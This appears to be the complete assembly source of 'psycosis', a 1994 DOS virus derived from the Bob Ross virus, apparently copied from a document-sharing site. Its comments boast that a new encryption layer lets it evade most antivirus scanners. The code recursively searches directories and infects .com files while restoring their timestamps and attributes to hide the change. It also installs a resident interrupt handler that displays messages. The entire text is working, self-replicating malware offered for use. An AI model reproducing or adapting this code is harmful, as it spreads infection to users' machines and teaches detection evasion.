You are on page 1of 10

; virusname : psycosis

; origin : sweden
; author : the unforgiven
; date : 03/01/94

; this is yet another mutation of the bob ross virus, written by dark
; angel of phalcon/skism in september 1991. in my last version of this
; virus, i excluded the encryption, and included some destructive code
; instead. in this one, i added a new encryption, and thereby it went
; undetectable by most of the scanners. yes, scan/findviru/msav/cpav,
; can't find it. f-prot doesn't founds a shit, but tbscan's most
; heuristics scanner says that it "probably" is infected with some
; unknown virus. the "standard" heuristic gets some flags, but not
; enough to say that it's infected. therefor i'd like to claim that
; the scanners sucks!

; i had thought to change much more in the code, for example the
; spreading routine. this virus will search the whole tree for
; files to infect, and becomes therefor pretty slow, and easily
; detected. but hell, it spreads!, hm, 3 files each run!..

; it also contains a resident printing part, which under some


; specific conditions will print some messages, in the top of the
; screen. if you're afraid that you are infected with this virus,
; just set the date to 0606 any year, and wait for some minutes.
; if a sudden message shows up, delete your .com file, which first
; character is an "&".

;=============================================================================
; **** psycosis ****
;=============================================================================

code segment public 'code'


org 100h
assume cs:code,ds:code,ss:code,es:code

dta_fileattr equ 21
dta_filetime equ 22
dta_filedate equ 24
dta_filesize equ 26
dta_filename equ 30

virus_marker equ 026ffh ; jmp word ptr


virus_marker2 equ 00104h ; 0104h
part1_size equ part1_end - part1_start
part2_size equ part2_end - part2_start
offset_off equ duh2
init_delay equ 5280 ; initial delay
delay equ 400 ; subsequent delay
num_messages equ 7 ; number of bob messages
waves equ 7 ; number of waves to go off after
infec_date equ 0606h ; date of psychosis .(swedish national day).

counter equ 108h


d_mess equ 110h
int_08_start equ 112h

part1_start:
jmp word ptr duh
duh dw middle_part_end - part1_start + 100h
duh2 dw 0
part1_end:

middle_part_start:
middle_part_end:

;=============================================================================
;part 2 begins: dis is the d-cool part
;=============================================================================
part2_start:
cld
call decrypt
mov si, offset go
add si, offset_off
jmp si

;encrypt_val db 00h
encrypt_val dw 0
decrypt:
encrypt:

mov si, offset encrypt_val


add si, offset_off
mov ah, byte ptr [si]

mov cx, offset part2_end - offset bam_bam


add si, offset bam_bam - offset encrypt_val
mov di, si
call cheater

xor_loop:
lodsb ; ds:[si] -> al
xor al, ah
stosb
loop xor_loop
ret
cheater:
ret

copy_rest_stuff:
push si ; si -> buffer3
call encrypt
mov cx, part2_size
pop dx
add dx, offset part2_start - offset buffer3
mov ah, 40h
int 21h
call decrypt
bam_bam:
ret

buffer db 0cdh, 20h, 0, 0, 0, 0, 0, 0


buffer2 db part1_end - part1_start dup (?)
buffer3 dw ?
orig_path db 64 dup (?)
num_infec db 0 ; infection wave number
infec_now db 0 ; number files infected this time
root_dir db '\',0 ; root directory
com_mask db '*.com',0 ; files to infect
dir_mask db '*.*',0 ; files to search for
back_dir db '..',0 ; go "dot-dot".
nest dw 0

dta db 43 dup (0) ; for use by infect_dir

go:
add si, offset buffer - offset go
mov di, si
add di, offset buffer2 - offset buffer
mov cx, part1_size
rep movsb

mov ah, 47h ; get directory


xor dl,dl ; default drive
add si, offset orig_path - offset buffer - 8 ; ds:[si] -> buffer
int 21h ; in orig_path
jc go_error

mov ah, 3bh ; change directory


mov dx, si ; to the root dir
add dx, offset root_dir - offset orig_path
int 21h
jc go_error

add si, offset num_infec - offset orig_path


inc byte ptr [si] ; new infection wave

push si ; save offset num_infec

add si, offset infec_now - offset num_infec


mov byte ptr [si], 3 ; reset infection
; counter to 3
; for d-new run.

call traverse_fcn ; do all the work

pop si ; restore offset num_infec


cmp byte ptr [si], waves ; 10 infection waves?
jge go_psycho ; if so, activate

mov ah, 2ah ; get date


int 21h
cmp dx, infec_date ; is it 07/09?
jz go_psycho ; if so, activate
go_error:
jmp quit ; and then quit

go_psycho:
jmp psycho

origattr db 0
origtime dw 0
origdate dw 0
filesize dw 0 ; size of the uninfected file
oldhandle dw 0

;=============================================================================
;d-traversal function begins
;=============================================================================
traverse_fcn proc near
push bp ; create stack frame
mov bp,sp
sub sp,44 ; allocate space for dta
push si

jmp infect_directory
in_fcn:
mov ah,1ah ;set dta
lea dx,word ptr [bp-44] ; to space allotted
int 21h ;do it now, do it hard!

mov ah, 4eh ;find first


mov cx,16 ;directory mask
mov dx,offset dir_mask ; *.*
add dx,offset_off
int 21h
jmp short isdirok
gonow:
cmp byte ptr [bp-14], '.' ;is first char == '.'?
je short donext ; if so, loop again
lea dx,word ptr [bp-14] ;else load dirname
mov ah,3bh ; and changedir there
int 21h ;yup, yup
jc short donext ; do next if invalid
mov si, offset nest ; else increment nest
add si, offset_off
inc word ptr [si] ; nest++
call near ptr traverse_fcn ; recurse directory
donext:
lea dx,word ptr [bp-44] ;load space allocated for dta address
mov ah,1ah ; and set dta to it
int 21h ; 'cause it might have changed

mov ah,4fh ;find next


int 21h
isdirok:
jnc gonow ;if ok, jmp elsewhere
mov si, offset nest
add si, offset_off
cmp word ptr [si], 0 ;if root directory (nest == 0)
jle short cleanup ; quit
dec word ptr [si] ;else decrement nest
mov dx,offset back_dir ;'..'
add dx, offset_off
mov ah,3bh ;change directory
int 21h ; to previous one
cleanup:
pop si
mov sp,bp
pop bp
ret
traverse_fcn endp
;=============================================================================
;d-traversal function ends
;=============================================================================

goto_error:
jmp error

enuff_for_now:
;set nest to nil
mov si, offset nest ; in order to
add si, offset_off ; halt the d-cool
mov word ptr [si], 0 ; traversal fcn
jmp short cleanup
return_to_fcn:
jmp short in_fcn ;return to traversal function

infect_directory:
mov ah, 1ah ;set dta
mov dx, offset dta ; to dta struct
add dx, offset_off
int 21h

find_first_com:
mov ah, 04eh ; find first file
mov cx, 0007h ; any file
mov dx, offset com_mask ; ds:[dx] --> filemask
add dx, offset_off
int 21h ; fill dta (hopefully)
jc return_to_fcn ; <sigh> error #e421:0.1
jmp check_if_com_infected ; i<___-cool! found one!

find_next_file2:
mov si, offset infec_now ; another loop,
add si, offset_off ; another infection
dec byte ptr [si] ; infected three?
jz enuff_for_now ; if so, exit
find_next_file:
mov ah,4fh ; find next
int 21h
jc return_to_fcn

check_if_com_infected:
mov si, offset dta + dta_filename + 6 ; look at 7th letter
add si, offset_off
cmp byte ptr [si], 'd' ; ??????d.com?
jz find_next_file ; don't kill command.com

mov ax,3d00h ; open channel read only


mov dx, si ; offset pathname in dx
sub dx, 6
int 21h ; open now!
jc find_next_file ; if error, find another

xchg bx,ax ; bx is now handle


mov ah,3fh ; save
mov cx, part1_size ; first part
mov dx, offset buffer ; to buffer
add dx, offset_off ; to be restored
push dx
int 21h ; later

pop si ; check for virus id bytes


; in the buffer
push si
lodsw ; ds:[si] -> ax
cmp ax, virus_marker ; compare it
jnz infect_it ; infect it if id #1 not found

lodsw ; check next two bytes


cmp ax, virus_marker2 ; compare it
jnz infect_it ; infect if id #2 not found
pop si
bomb_out:
mov ah, 3eh ; else close the file
int 21h ; and go find another
jmp find_next_file ; 'cuz it's already infected

signature db '\\ merry xmas and a happy new year // '


db 'sweden - snowing again'
;=============================================================================
;d-good stuff - infection routine
;=============================================================================
infect_it:
; save fileattr
pop si
add si, offset dta + dta_fileattr - offset buffer
mov di, si
add di, offset origattr - offset dta - dta_fileattr
movsb ; ds:[si] -> es:[di]
movsw ; save origtime
movsw ; save origdate
movsw ; save filesize
; only need lsw
; because com files
; can only be up to
; 65535 bytes long
cmp word ptr [si - 2], part1_size
jl bomb_out ; is less than 8 bytes.

do_again:
mov ah, 2ch ; get time
int 21h
add dl, dh ; 1/100 sec + 1 sec
jz do_again ; don't want orig strain!

mov si, offset encrypt_val


add si, offset_off
mov byte ptr [si], dl ; 255 mutations

mov ax, 4301h ; set file attributes


xor cx, cx ; to nothing
mov dx, si ; filename in dta
add dx, offset dta + dta_filename - offset encrypt_val
int 21h ; do it now, my child
mov ah, 3eh ; close file
int 21h ; handle in bx

mov ax, 3d02h ; open file read/write


int 21h ; filename offset in dx
jc bomb_out ; damn! probs

mov di, dx
add di, offset oldhandle - offset dta - dta_filename
; copy filehandle to
; oldhandle
stosw ; ax -> es:[di]
xchg ax, bx ; file handle in bx now

mov ah, 40h ; write ds:[dx]->file


mov cx, part1_size - 4 ; number of bytes
mov dx, 0100h ; where code starts
int 21h ; (in memory)

mov ah, 40h


mov si, di ; mov si, offset filesize
add si, offset filesize - 2 - offset oldhandle
add word ptr [si], 0100h
mov cx, 2
mov dx, si
int 21h ; write jmp offset

mov ax, [si] ; ax = filesize


sub ax, 0108h

add si, offset buffer3 - offset filesize


push si
mov word ptr [si], ax
mov ah, 40h
mov cx, 2
mov dx, si
int 21h

mov ax, 4202h ; move file ptr


xor cx, cx ; from eof
xor dx, dx ; offset cx:dx
int 21h

call copy_rest_stuff

pop si
add si, offset oldhandle - offset buffer3
mov bx, word ptr [si]
mov ax, 5701h ; restore
add si, offset origtime - offset oldhandle
mov cx, word ptr [si] ; old time and
add si, 2
mov dx, word ptr [si] ; date
int 21h

mov ah, 3eh ; close file


int 21h
mov ax, 4301h ; restore file
xor ch, ch
add si, offset origattr - offset origtime - 2
mov cl, byte ptr [si] ; attributes
mov dx, si ; filename in dta
add dx, offset dta + dta_filename - offset origattr
int 21h ; do it now

jmp find_next_file2

gotoerror:
jmp error

psycho:

push es
mov byte ptr cs:[100h],0 ; initialize fingerprint
xor bx, bx ; zero bx for start
mov ax, cs
init1: inc bx ; increment search segment
mov es, bx ; value
cmp ax, bx ; not installed if we reach
je not_installed_yet ; the current segment
mov si, 100h ; search segment for
mov di, si ; fingerprint in first
mov cx, 4 ; four bytes
repe cmpsb ; compare
jne init1 ; if not equal, try another
jmp quit_init ; else already installed

not_installed_yet:
pop es
mov word ptr cs:[counter], init_delay
mov word ptr cs:[d_mess], 1

; copy interrupt handler to beginning of code


mov si, offset _int_08_handler
add si, offset_off
mov di, int_08_start
mov cx, int_end - int_start
rep movsb ; ds:[si]->es:[di]

mov ax, 3508h ; get int 8 handler


int 21h ; put in es:bx

mov cs:[duh], bx ; save old handler


mov cs:[duh+2], es ; in cs:[104h]

mov ax, 2508h ; install new handler


mov dx, int_08_start ; from ds:dx
int 21h ; do it

push es
mov ax, ds:[2ch] ; deallocate program
mov es, ax ; environment block
mov ah, 49h
int 21h
pop es
mov ax, 3100h ; tsr
mov dx, (offset int_end - offset int_start + offset part1_end - offset
code + 4 + 15 + 128) shr 4
int 21h
int 20h ; in case of error
quit_init:
pop es
error: ; on error, quit
quit:
; if get drive, place it here (restore, and change to in the beginning).
mov ah, 3bh ; change directory
mov dx, offset root_dir ; to the root dir
add dx, offset_off
int 21h

mov ah,3bh ; change directory


; return to orig dir
add dx, offset orig_path - offset root_dir
int 21h

; copy buffer back to beginning of file


mov si, dx
add si, offset buffer2 - offset orig_path
mov di, 0100h
mov cx, part1_end - part1_start
rep movsb

mov di, 0100h


jmp di
int_start:
_int_08_handler proc far
push ax
push bx
push cx
push dx
push si
push ds
push es
pushf
dec word ptr cs:[counter] ; counter
jnz quitnow
;activation!!!
mov word ptr cs:[counter], delay ; reset counter

; set up ds & es to equal cs


push cs
pop ds
push cs
pop es

mov si, offset messages - offset int_start + int_08_start


mov cx, cs:d_mess
xor ah, ah
loopy_thingy:
lodsb ; ds:si -> al
add si, ax ; es:bp -> next message to display
loop loopy_thingy
lodsb
xchg si, bp

xor cx, cx
mov cl, al ; length of string
mov ax, 1300h ;
mov bx, 0070h ; page 0, inverse video
xor dx, dx ; (0,0)
int 10h ; display es:bp
inc word ptr cs:[d_mess]
cmp word ptr cs:[d_mess], num_messages
jnz sigh
mov word ptr cs:[d_mess], 1

sigh: mov cx, 30h


sigh2: push cx
mov cx, 0ffffh
delayx: loop delayx
pop cx
loop sigh2
xchg si, bp
quitnow:
popf
pop es
pop ds
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:duh
messages db 0
db 15, 'another year passed by'
db 21, 'another tear the willows cry'
db 22, 'to change the world we ever try'
db 26, 'to make a difference before we die'
db 38, '[psychosis] greets, phalcon/skism.'
db 40, '(c) 93/94 the unforgiven / immortal riot'

_int_08_handler endp
int_end:
part2_end:

code ends
end part1_start

You might also like